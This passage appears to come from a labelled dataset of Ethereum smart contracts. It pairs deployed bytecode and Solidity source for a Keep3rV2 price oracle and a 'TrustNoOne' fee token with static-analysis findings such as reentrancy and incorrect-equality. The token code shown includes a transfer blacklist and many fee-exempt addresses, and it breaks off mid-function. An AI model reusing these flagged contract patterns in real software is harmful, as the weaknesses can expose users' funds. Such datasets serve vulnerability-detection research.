600087803b1580156128cf57600080fd5b505af11580156128e3573d6000803e3d6000fd5b505050506128f18282612c14565b612902565b61290183838361254e565b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561298d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612db86026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000838311158290612af7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612abc578082015181840152602081019050612aa1565b50505050905090810190601f168015612ae95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290612bb6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b7b578082015181840152602081019050612b60565b50505050905090810190601f168015612ba85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bc257fe5b049050809150509392505050565b600082821015612be35760009050612c0e565b612c0b62015180612bfd85856122c190919063ffffffff16565b61230b90919063ffffffff16565b90505b92915050565b60008273ffffffffffffffffffffffffffffffffffffffff1682600067ffffffffffffffff81118015612c4657600080fd5b506040519080825280601f01601f191660200182016040528015612c795781602001600182028036833780820191505090505b506040518082805190602001908083835b60208310612cad5780518252602082019150602081019050602083039250612c8a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612d0f576040519150601f19603f3d011682016040523d82523d6000602084013e612d14565b606091505b5050905080612d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612dff6023913960400191505060405180910390fd5b505050565b6040518060400160405280600290602082028036833780820191505090505090565b604051806040016040528060029060208202803683378082019150509050509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775472616e7366657248656c7065723a204554485f5452414e534645525f4641494c45445472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544a2646970667358221220cd399b02fceefc8d2acdb4af3cf79c68012f37b4046fd0172d6414a63b60051064736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
7,166
0x39b1dF026010b5aEA781f90542EE19E900F2Db15
/** *Submitted for verification at Etherscan.io on 2021-05-11 */ /** *Submitted for verification at Etherscan.io on 2021-04-19 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; interface IUniswapV2Pair { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function token0() external view returns (address); function token1() external view returns (address); } interface IKeep3rV1 { function keepers(address keeper) external returns (bool); function KPRH() external view returns (IKeep3rV1Helper); function receipt(address credit, address keeper, uint amount) external; } interface IKeep3rV1Helper { function getQuoteLimit(uint gasUsed) external view returns (uint); } // sliding oracle that uses observations collected to provide moving price averages in the past contract Keep3rV2Oracle { constructor(address _pair) { _factory = msg.sender; pair = _pair; (,,uint32 timestamp) = IUniswapV2Pair(_pair).getReserves(); uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(_pair).price0CumulativeLast() * e10 / Q112); uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(_pair).price1CumulativeLast() * e10 / Q112); observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast); } struct Observation { uint32 timestamp; uint112 price0Cumulative; uint112 price1Cumulative; } modifier factory() { require(msg.sender == _factory, "!F"); _; } Observation[65535] public observations; uint16 public length; address immutable _factory; address immutable public pair; // this is redundant with granularity and windowSize, but stored for gas savings & informational purposes. uint constant periodSize = 1800; uint Q112 = 2**112; uint e10 = 10**18; // Pre-cache slots for cheaper oracle writes function cache(uint size) external { uint _length = length+size; for (uint i = length; i < _length; i++) observations[i].timestamp = 1; } // update the current feed for free function update() external factory returns (bool) { return _update(); } function updateable() external view returns (bool) { Observation memory _point = observations[length-1]; (,, uint timestamp) = IUniswapV2Pair(pair).getReserves(); uint timeElapsed = timestamp - _point.timestamp; return timeElapsed > periodSize; } function _update() internal returns (bool) { Observation memory _point = observations[length-1]; (,, uint32 timestamp) = IUniswapV2Pair(pair).getReserves(); uint32 timeElapsed = timestamp - _point.timestamp; if (timeElapsed > periodSize) { uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112); uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112); observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast); return true; } return false; } function _computeAmountOut(uint start, uint end, uint elapsed, uint amountIn) internal view returns (uint amountOut) { amountOut = amountIn * (end - start) / e10 / elapsed; } function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) { (address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn); Observation memory _observation = observations[length-1]; uint price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112; uint price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112; (,,uint timestamp) = IUniswapV2Pair(pair).getReserves(); // Handle edge cases where we have no updates, will revert on first reading set if (timestamp == _observation.timestamp) { _observation = observations[length-2]; } uint timeElapsed = timestamp - _observation.timestamp; timeElapsed = timeElapsed == 0 ? 1 : timeElapsed; if (token0 == tokenIn) { amountOut = _computeAmountOut(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn); } else { amountOut = _computeAmountOut(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn); } lastUpdatedAgo = timeElapsed; } function quote(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) { (address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn); uint priceAverageCumulative = 0; uint _length = length-1; uint i = _length - points; Observation memory currentObservation; Observation memory nextObservation; uint nextIndex = 0; if (token0 == tokenIn) { for (; i < _length; i++) { nextIndex = i+1; currentObservation = observations[i]; nextObservation = observations[nextIndex]; priceAverageCumulative += _computeAmountOut( currentObservation.price0Cumulative, nextObservation.price0Cumulative, nextObservation.timestamp - currentObservation.timestamp, amountIn); } } else { for (; i < _length; i++) { nextIndex = i+1; currentObservation = observations[i]; nextObservation = observations[nextIndex]; priceAverageCumulative += _computeAmountOut( currentObservation.price1Cumulative, nextObservation.price1Cumulative, nextObservation.timestamp - currentObservation.timestamp, amountIn); } } amountOut = priceAverageCumulative / points; (,,uint timestamp) = IUniswapV2Pair(pair).getReserves(); lastUpdatedAgo = timestamp - nextObservation.timestamp; } function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) { (address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn); prices = new uint[](points); if (token0 == tokenIn) { { uint _length = length-1; uint i = _length - (points * window); uint _index = 0; Observation memory nextObservation; for (; i < _length; i+=window) { Observation memory currentObservation; currentObservation = observations[i]; nextObservation = observations[i + window]; prices[_index] = _computeAmountOut( currentObservation.price0Cumulative, nextObservation.price0Cumulative, nextObservation.timestamp - currentObservation.timestamp, amountIn); _index = _index + 1; } (,,uint timestamp) = IUniswapV2Pair(pair).getReserves(); lastUpdatedAgo = timestamp - nextObservation.timestamp; } } else { { uint _length = length-1; uint i = _length - (points * window); uint _index = 0; Observation memory nextObservation; for (; i < _length; i+=window) { Observation memory currentObservation; currentObservation = observations[i]; nextObservation = observations[i + window]; prices[_index] = _computeAmountOut( currentObservation.price1Cumulative, nextObservation.price1Cumulative, nextObservation.timestamp - currentObservation.timestamp, amountIn); _index = _index + 1; } (,,uint timestamp) = IUniswapV2Pair(pair).getReserves(); lastUpdatedAgo = timestamp - nextObservation.timestamp; } } } } contract Keep3rV2OracleFactory { function pairForSushi(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint160(uint256(keccak256(abi.encodePacked( hex'ff', 0xc35DADB65012eC5796536bD9864eD8773aBc74C4, keccak256(abi.encodePacked(token0, token1)), hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash ))))); } function pairForUni(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint160(uint256(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash ))))); } modifier keeper() { require(KP3R.keepers(msg.sender), "!K"); _; } modifier upkeep() { uint _gasUsed = gasleft(); require(KP3R.keepers(msg.sender), "!K"); _; uint _received = KP3R.KPRH().getQuoteLimit(_gasUsed - gasleft()); KP3R.receipt(address(KP3R), msg.sender, _received); } address public governance; address public pendingGovernance; /** * @notice Allows governance to change governance (for future upgradability) * @param _governance new governance address to set */ function setGovernance(address _governance) external { require(msg.sender == governance, "!G"); pendingGovernance = _governance; } /** * @notice Allows pendingGovernance to accept their role as governance (protection pattern) */ function acceptGovernance() external { require(msg.sender == pendingGovernance, "!pG"); governance = pendingGovernance; } IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44); address[] internal _pairs; mapping(address => Keep3rV2Oracle) public feeds; function pairs() external view returns (address[] memory) { return _pairs; } constructor() { governance = msg.sender; } function update(address pair) external keeper returns (bool) { return feeds[pair].update(); } function byteCode(address pair) external pure returns (bytes memory bytecode) { bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair)); } function deploy(address pair) external returns (address feed) { require(msg.sender == governance, "!G"); require(address(feeds[pair]) == address(0), 'PE'); bytes memory bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair)); bytes32 salt = keccak256(abi.encodePacked(pair)); assembly { feed := create2(0, add(bytecode, 0x20), mload(bytecode), salt) if iszero(extcodesize(feed)) { revert(0, 0) } } feeds[pair] = Keep3rV2Oracle(feed); _pairs.push(pair); } function work() external upkeep { require(workable(), "!W"); for (uint i = 0; i < _pairs.length; i++) { feeds[_pairs[i]].update(); } } function work(address pair) external upkeep { require(feeds[pair].update(), "!W"); } function workForFree() external { for (uint i = 0; i < _pairs.length; i++) { feeds[_pairs[i]].update(); } } function workForFree(address pair) external { feeds[pair].update(); } function cache(uint size) external { for (uint i = 0; i < _pairs.length; i++) { feeds[_pairs[i]].cache(size); } } function cache(address pair, uint size) external { feeds[pair].cache(size); } function workable() public view returns (bool canWork) { canWork = true; for (uint i = 0; i < _pairs.length; i++) { if (!feeds[_pairs[i]].updateable()) { canWork = false; } } } function workable(address pair) public view returns (bool) { return feeds[pair].updateable(); } function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window, bool sushiswap) external view returns (uint[] memory prices, uint lastUpdatedAgo) { address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut); return feeds[_pair].sample(tokenIn, amountIn, tokenOut, points, window); } function sample(address pair, address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) { return feeds[pair].sample(tokenIn, amountIn, tokenOut, points, window); } function quote(address tokenIn, uint amountIn, address tokenOut, uint points, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) { address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut); return feeds[_pair].quote(tokenIn, amountIn, tokenOut, points); } function quote(address pair, address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) { return feeds[pair].quote(tokenIn, amountIn, tokenOut, points); } function current(address tokenIn, uint amountIn, address tokenOut, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) { address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut); return feeds[_pair].current(tokenIn, amountIn, tokenOut); } function current(address pair, address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) { return feeds[pair].current(tokenIn, amountIn, tokenOut); } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063983586d911610066578063983586d914610136578063a2e620451461014e578063a75d39c214610156578063a8aa1b311461017e578063ae6ec9b7146101bd57610093565b80630a7933981461009857806317bf72c6146100c25780631f7b6d32146100d7578063252c09d7146100f7575b600080fd5b6100ab6100a636600461158b565b6101d0565b6040516100b9929190611656565b60405180910390f35b6100d56100d0366004611626565b610737565b005b61ffff80546100e4911681565b60405161ffff90911681526020016100b9565b61010a610105366004611626565b6107b1565b6040805163ffffffff90941684526001600160701b0392831660208501529116908201526060016100b9565b61013e6107ea565b60405190151581526020016100b9565b61013e610924565b61016961016436600461150d565b610994565b604080519283526020830191909152016100b9565b6101a57f000000000000000000000000328dfd0139e26cb0fef7b0742b49b0fe4325f82181565b6040516001600160a01b0390911681526020016100b9565b6101696101cb366004611548565b610d5d565b6060600080856001600160a01b0316886001600160a01b0316106101f55785886101f8565b87865b5090508467ffffffffffffffff81111561022257634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561024b578160200160208202803683370190505b509250876001600160a01b0316816001600160a01b031614156104d45761ffff805460009161027d91600191166116f5565b61ffff169050600061028f86886116d6565b6102999083611718565b60408051606081018252600080825260208201819052918101829052919250905b8383101561041b5760408051606081018252600080825260208201819052918101829052908461ffff81106102ff57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006103488a8661169e565b61ffff811061036757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b9094048216948601949094529185015185519496506103d094921692916103c49161172f565b63ffffffff168f611100565b8884815181106103f057634e487b7160e01b600052603260045260246000fd5b602090810291909101015261040683600161169e565b92506104149050888461169e565b92506102ba565b60007f000000000000000000000000328dfd0139e26cb0fef7b0742b49b0fe4325f8216001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561047657600080fd5b505afa15801561048a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ae91906115d8565b845163ffffffff91821694506104c8935016905082611718565b9650505050505061072c565b61ffff80546000916104e991600191166116f5565b61ffff16905060006104fb86886116d6565b6105059083611718565b60408051606081018252600080825260208201819052918101829052919250905b838310156106775760408051606081018252600080825260208201819052918101829052908461ffff811061056b57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006105b48a8661169e565b61ffff81106105d357634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292850151855194965061062c94921692916103c49161172f565b88848151811061064c57634e487b7160e01b600052603260045260246000fd5b602090810291909101015261066283600161169e565b92506106709050888461169e565b9250610526565b60007f000000000000000000000000328dfd0139e26cb0fef7b0742b49b0fe4325f8216001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156106d257600080fd5b505afa1580156106e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070a91906115d8565b845163ffffffff9182169450610724935016905082611718565b965050505050505b509550959350505050565b61ffff805460009161074b9184911661169e565b61ffff8054919250165b818110156107ac57600160008261ffff811061078157634e487b7160e01b600052603260045260246000fd5b01805463ffffffff191663ffffffff92909216919091179055806107a48161176e565b915050610755565b505050565b60008161ffff81106107c257600080fd5b015463ffffffff811691506001600160701b03600160201b8204811691600160901b90041683565b61ffff80546000918291829161080391600191166116f5565b61ffff1661ffff811061082657634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f000000000000000000000000328dfd0139e26cb0fef7b0742b49b0fe4325f8211692630902f1ac926004818101939291829003018186803b1580156108c357600080fd5b505afa1580156108d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fb91906115d8565b845163ffffffff91821694506000935061091792501683611718565b6107081093505050505b90565b6000336001600160a01b037f000000000000000000000000d14439b3a7245d8ea92e37b77347014ea7e4f80916146109875760405162461bcd60e51b815260206004820152600260248201526110a360f11b604482015260640160405180910390fd5b61098f61113b565b905090565b6000806000836001600160a01b0316866001600160a01b0316106109b95783866109bc565b85845b5061ffff805491925060009182916109d791600191166116f5565b61ffff1661ffff81106109fa57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b82048116602080860191909152600160901b9092041683830152620100005462010001548351635909c0d560e01b81529351949550600094919390926001600160a01b037f000000000000000000000000328dfd0139e26cb0fef7b0742b49b0fe4325f8211692635909c0d5926004818101939291829003018186803b158015610aa857600080fd5b505afa158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae0919061163e565b610aea91906116d6565b610af491906116b6565b90506000620100005462010001547f000000000000000000000000328dfd0139e26cb0fef7b0742b49b0fe4325f8216001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5b57600080fd5b505afa158015610b6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b93919061163e565b610b9d91906116d6565b610ba791906116b6565b905060007f000000000000000000000000328dfd0139e26cb0fef7b0742b49b0fe4325f8216001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610c0457600080fd5b505afa158015610c18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3c91906115d8565b63ffffffff1692505050836000015163ffffffff16811415610cce5761ffff8054600091610c6d91600291166116f5565b61ffff1661ffff8110610c9057634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b909104169082015293505b8351600090610ce39063ffffffff1683611718565b90508015610cf15780610cf4565b60015b90508a6001600160a01b0316866001600160a01b03161415610d3057610d2985602001516001600160701b031685838d611100565b9750610d4c565b610d4985604001516001600160701b031684838d611100565b97505b809650505050505050935093915050565b6000806000846001600160a01b0316876001600160a01b031610610d82578487610d85565b86855b5061ffff80549192506000918291610da091600191166116f5565b61ffff1690506000610db28783611718565b9050610dd7604080516060810182526000808252602082018190529181019190915290565b604080516060810182526000808252602082018190529181019190915260008c6001600160a01b0316876001600160a01b03161415610f27575b84841015610f2257610e2484600161169e565b905060008461ffff8110610e4857634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610ea757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b909404821694860194909452918701518751949650610f0494921692916103c49161172f565b610f0e908761169e565b955083610f1a8161176e565b945050610e11565b611034565b8484101561103457610f3a84600161169e565b905060008461ffff8110610f5e57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610fbd57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292870151875194965061101694921692916103c49161172f565b611020908761169e565b95508361102c8161176e565b945050610f27565b61103e8a876116b6565b985060007f000000000000000000000000328dfd0139e26cb0fef7b0742b49b0fe4325f8216001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561109b57600080fd5b505afa1580156110af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d391906115d8565b855163ffffffff91821694506110ed935016905082611718565b9850505050505050505094509492505050565b600082620100015486866111149190611718565b61111e90856116d6565b61112891906116b6565b61113291906116b6565b95945050505050565b61ffff80546000918291829161115491600191166116f5565b61ffff1661ffff811061117757634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f000000000000000000000000328dfd0139e26cb0fef7b0742b49b0fe4325f8211692630902f1ac926004818101939291829003018186803b15801561121457600080fd5b505afa158015611228573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124c91906115d8565b84519093506000925061126091508361172f565b90506107088163ffffffff1611156114d0576000620100005462010001547f000000000000000000000000328dfd0139e26cb0fef7b0742b49b0fe4325f8216001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b1580156112d757600080fd5b505afa1580156112eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130f919061163e565b61131991906116d6565b61132391906116b6565b90506000620100005462010001547f000000000000000000000000328dfd0139e26cb0fef7b0742b49b0fe4325f8216001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b15801561138a57600080fd5b505afa15801561139e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c2919061163e565b6113cc91906116d6565b6113d691906116b6565b6040805160608101825263ffffffff871681526001600160701b03808616602083015283169181019190915261ffff80549293509091600091908116908261141d8361174c565b91906101000a81548161ffff021916908361ffff16021790555061ffff1661ffff811061145a57634e487b7160e01b600052603260045260246000fd5b825191018054602084015160409094015163ffffffff90931671ffffffffffffffffffffffffffffffffffff1990911617600160201b6001600160701b03948516021771ffffffffffffffffffffffffffffffffffff16600160901b939092169290920217905550600194506109219350505050565b6000935050505090565b80356001600160a01b03811681146114f157600080fd5b919050565b80516001600160701b03811681146114f157600080fd5b600080600060608486031215611521578283fd5b61152a846114da565b92506020840135915061153f604085016114da565b90509250925092565b6000806000806080858703121561155d578081fd5b611566856114da565b93506020850135925061157b604086016114da565b9396929550929360600135925050565b600080600080600060a086880312156115a2578081fd5b6115ab866114da565b9450602086013593506115c0604087016114da565b94979396509394606081013594506080013592915050565b6000806000606084860312156115ec578283fd5b6115f5846114f6565b9250611603602085016114f6565b9150604084015163ffffffff8116811461161b578182fd5b809150509250925092565b600060208284031215611637578081fd5b5035919050565b60006020828403121561164f578081fd5b5051919050565b604080825283519082018190526000906020906060840190828701845b8281101561168f57815184529284019290840190600101611673565b50505092019290925292915050565b600082198211156116b1576116b1611789565b500190565b6000826116d157634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156116f0576116f0611789565b500290565b600061ffff8381169083168181101561171057611710611789565b039392505050565b60008282101561172a5761172a611789565b500390565b600063ffffffff8381169083168181101561171057611710611789565b600061ffff8083168181141561176457611764611789565b6001019392505050565b600060001982141561178257611782611789565b5060010190565b634e487b7160e01b600052601160045260246000fdfea26469706673582212202b1287cf3deac18489452cddca72d9b0093e996441e6bd33526be15bbecf339a64736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,167
0x00110c6279d1e132126251d20471b0555a58de9c
/** *Submitted for verification at Etherscan.io on 2022-03-30 */ /** *Submitted for verification at Etherscan.io on 2022-01-06 */ /* https://t.me/trustnooneeth */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TrustNoOne is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _maxTxAmount = _tTotal; uint256 private openBlock; uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens uint256 private _maxWalletAmount = _tTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "TrustNoOne"; string private constant _symbol = "TRUSTNOONE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2, address payable addr3, address payable addr4, address payable addr5) { _feeAddrWallet1 = addr1; _feeAddrWallet2 = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[addr4] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[addr5] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[addr3] = true; emit Transfer( address(0), _msgSender(), _tTotal ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 12; if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { // Not over max tx amount require(amount <= _maxTxAmount, "Over max transaction amount."); // Cooldown require(cooldown[to] < block.timestamp, "Cooldown enforced."); // Max wallet require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount."); cooldown[to] = block.timestamp + (30 seconds); } if ( to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from] ) { _feeAddr1 = 1; _feeAddr2 = 9; } 